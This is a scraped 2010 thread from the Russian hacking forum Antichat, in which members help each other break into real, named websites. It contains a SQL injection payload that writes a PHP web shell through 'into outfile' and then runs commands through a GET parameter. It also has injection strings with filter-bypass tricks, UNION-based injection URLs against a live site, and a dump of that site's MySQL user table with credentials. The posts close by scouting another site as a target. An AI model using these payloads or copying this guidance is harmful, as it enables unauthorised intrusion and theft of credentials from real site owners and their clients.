Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
|
21.01.2010, 23:22
|
|
Участник форума
Регистрация: 25.04.2007
Сообщений: 176
Провел на форуме:
1957988
Репутация:
739
|
|
Причём тут инклуд? Просто адрес картинки подставляется в html тег или что-то типо того,что с php вообще никак не связано.
|
|
|
21.01.2010, 23:28
|
|
Постоянный
Регистрация: 15.06.2007
Сообщений: 527
Провел на форуме:
1734541
Репутация:
214
|
|
ясно, я видел что подставляется адрес картинки,просто решил уточнить.спс.
ну хотя бы скули там есть )
|
|
|
|
21.01.2010, 23:39
|
|
Участник форума
Регистрация: 17.09.2006
Сообщений: 248
Провел на форуме:
556476
Репутация:
66
|
|
Сообщение от v1d0qz
Причин может быть много. Скинь ссылку в пм, если так не хочешь ей светить, а я уже потом скину в общак ответ со скрытой ссылкой.
уже отправил в личико.
Что получается я зря палил линк ((
|
|
|
|
21.01.2010, 23:43
|
|
Познающий
Регистрация: 14.03.2009
Сообщений: 38
Провел на форуме:
250929
Репутация:
2
|
|
Сообщение от ILYAtirtir
union+select+'<? system($_GET['cmd']); ?>'+into+outfile+'/[path]/shell.php'
Дальше site.com/shell.php?cmd=[command]
что-то я не понял .. можно поподробнее?
|
|
|
|
22.01.2010, 00:52
|
|
Познающий
Регистрация: 21.07.2007
Сообщений: 68
Провел на форуме:
947074
Репутация:
257
|
|
Сообщение от YuNi|[c
уже отправил в личико.
Что получается я зря палил линк ((
Почему же?))
Сайт конечно не кислый с таким количеством тиц и таким возрастом домена 
По теме. Щас уезжаю, потому доковырять не успею. Пока успел вывести только правильный запрос.
?script=%2527/**/and/**/1=1#
ну или так если с выводом..
?script=%2527/**/and/**/1=%25271
Потом, дубли организовать пока не удалось, выбивает 'Error Column 'table_name' in field list is ambiguous in', возможно из за того что до этого стоит ещё 2 или 3 join, а возможно и фикс, что за ошибка разберусь когда прийду, потому как раньше у меня такой ещё небыло. Далее.., запятая косит запрос, потому потому это ещё усложняет дело.
зы. Так как это LIKE, то обрывать нужно через #, а пробелы как вы наверное заметили я заменил на /**/
зы2. Через post всё аналогично.
Последний раз редактировалось v1d0qz; 22.01.2010 в 21:03..
|
|
|
|
22.01.2010, 01:13
|
|
Познающий
Регистрация: 14.03.2009
Сообщений: 38
Провел на форуме:
250929
Репутация:
2
|
|
Сообщение от Strilo4ka
что тут не понятного не гони записыв. результат в файл ... Потом пишеш в адресной строке путь к файлу и передаеш ему команды через гет переменную!
тока бока с кодировкой могут быть
1
2
в браузере кодировка -> 866 после шелла когда запускаем! спасибо , но уже перепробывал кучу вариантов ,ничего не получается,возможно что то не так делаю ...
кодировку делаю...
вот например сайтик с прив file
[+]Printable field: 3,4,5
[+]Vuln URL: http://www.sfinc.ca/details.php?product=-3403+UNION+SELECT+1,2,3,4,5,6,7,8,9--
[+]MySQL Info: signature@localhost:4.1.22:signature:binjportbld-freebsd4.10
|
|
|
|
22.01.2010, 01:17
|
|
Постоянный
Регистрация: 18.02.2008
Сообщений: 368
Провел на форуме:
4075418
Репутация:
386
|
|
а тут и не получиться у тебя, ковычки фильтруются, но зато читалка файлов есть.
|
|
|
|
22.01.2010, 01:19
|
|
Познающий
Регистрация: 14.03.2009
Сообщений: 38
Провел на форуме:
250929
Репутация:
2
|
|
Сообщение от Strilo4ka
путь правильный и слешы / читай пост джокестера там написано вконце
тебе сюдаспасибо походу нашёл то что надо
https://forum.antichat.ru/threadnav34338-1-10.html
пля жаль что только читалка файлов =/
|
|
|
|
22.01.2010, 13:01
|
|
Участник форума
Регистрация: 11.10.2009
Сообщений: 116
Провел на форуме:
472147
Репутация:
211
|
|
http://www.sfinc.ca/details.php?product=-3403+UNION+SELECT+1,2,file_priv,4,5,6,7,8,9+from+m ysql.user--
а я думал што файл прив ето только привелегия пользователя рут...
вот пасс
http://www.sfinc.ca/details.php?product=-3403+UNION+SELECT+1,2,group_concat(0x3a,user,passw ord),4,5,6,7,8,9+from+mysql.user--
signature2ab907306f36b10c,signature
а также есть табличка clients
Последний раз редактировалось 547; 22.01.2010 в 13:22..
|
|
|
|
22.01.2010, 13:45
|
|
Постоянный
Регистрация: 12.05.2009
Сообщений: 395
Провел на форуме:
4761503
Репутация:
229
|
|
sportonline.com.ua
Что за движок новостей?
Пример показывания новости: sportonline.com.ua/index.php?cont=long&id=8320
(не самописный! если ввести в google -> cont=long&id= , то станет ясно что точно не самописный)
|
|
|
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Линейный вид
